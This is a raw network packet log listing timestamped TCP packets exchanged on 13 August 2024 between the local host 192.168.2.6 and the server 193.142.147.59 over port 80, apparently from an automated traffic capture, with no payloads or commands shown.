Aug 13, 2024 10:21:12.097349882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.097387075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.097945929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.098007917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.102677107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.102731943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.102844000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.102878094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.102895021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.102926970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.103333950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.103367090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.103387117 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.103399992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.103406906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.103437901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.104067087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.104100943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.104115963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.104135990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.104163885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.104188919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.104664087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.104696989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.104718924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.104733944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.104747057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.104769945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.105297089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.105330944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.105351925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.105367899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.105374098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.105417013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.109535933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.109592915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.109643936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.109693050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.109813929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.109868050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.109963894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.110018015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.110189915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.110224009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.110249996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.110261917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.110632896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.110686064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.110845089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.110877037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.110898018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.110909939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.110918999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.110958099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.111593962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.111627102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.111641884 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.111660957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.111664057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.111706972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.112333059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.112368107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.112385035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.112401962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.112412930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.112437963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.112453938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.112477064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.113111973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.113146067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.113168001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.113178015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.113193989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.113224030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.113854885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.113888979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.113904953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.113922119 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.113935947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.113955021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.113964081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.113997936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.114619970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.114654064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.114670038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.114687920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.114692926 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.114731073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.115398884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.115433931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.115453005 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.115468979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.115480900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.115514994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.116116047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.116148949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.116168022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.116180897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.116189957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.116214991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.116223097 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.116261005 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.116847992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.116898060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.116903067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.116944075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.117105007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.117136955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.117156982 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.117172003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.117177963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.117224932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.117763996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.117796898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.117815018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.117831945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.117839098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.117872953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.118376970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.118408918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.118439913 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.118443012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.118454933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.118490934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.119134903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.119168997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.119187117 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.119201899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.119213104 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.119246006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.119880915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.119915962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.119935036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.119947910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.119970083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.119982958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.119992018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.120024920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.120646000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.120678902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.120698929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.120711088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.120719910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.120759964 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.121393919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.121428013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.121448994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.121460915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.121478081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.121506929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.122147083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.122179985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.122210979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.122212887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.122226000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.122247934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.122256041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.122292042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.122931957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.122967005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.122982979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.123001099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.123013973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.123048067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.123496056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.123531103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.123548985 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.123564005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.123574018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.123598099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.123605967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.123631954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.123641014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.123667002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.123676062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.123708010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.124473095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.124531031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.124543905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.124577045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.124594927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.124609947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.124618053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.124644041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.124655962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.124684095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.125353098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.125386000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.125401020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.125428915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.125458956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.125490904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.125504017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.125524044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.125535011 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.125560999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.125576973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.125602961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.126235008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.126269102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.126297951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.126311064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.176311970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.176387072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.176390886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.176429033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.176435947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.176476002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.176837921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.176870108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.176891088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.176906109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.176930904 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.176954985 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.177300930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.177351952 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.183280945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.183341980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.183407068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.183442116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.183458090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.183481932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.183796883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.183830976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.183850050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.183862925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.183871984 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.183897972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.183908939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.183944941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.190299034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.190361977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.190431118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.190464973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.190485001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.190509081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.190797091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.190833092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.190855980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.190872908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.191229105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.191262007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.191282988 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.191294909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.191322088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.191329002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.191339970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.191464901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.192025900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.192059994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.192084074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.192090988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.192104101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.192126036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.192136049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.192169905 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.192611933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.192668915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.197246075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.197319031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.197392941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.197427988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.197441101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.197472095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.197628975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.197767019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.197818995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.197851896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.197869062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.197889090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.197890997 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.197938919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.198188066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.198240995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.198263884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.198296070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.198312998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.198328972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.198338032 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.198364973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.198385000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.198400974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.198414087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.198445082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.199004889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.199038029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.199058056 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.199084044 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.199260950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.199294090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.199312925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.199326038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.199337006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.199359894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.199372053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.199394941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.199402094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.199440002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.200066090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.200098991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.200123072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.200131893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.200138092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.200166941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.200180054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.200212955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.200592041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.200624943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.200656891 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.200656891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.200670004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.200690031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.200704098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.200723886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.200748920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.200773954 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.203759909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.203811884 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.203875065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.203907013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.203927994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.203946114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.204158068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.204191923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.204207897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.204233885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.204458952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.204521894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.204525948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.204571009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.204725981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.204758883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.204778910 CEST	49711	80	192.168.2.6	193.142.147.59
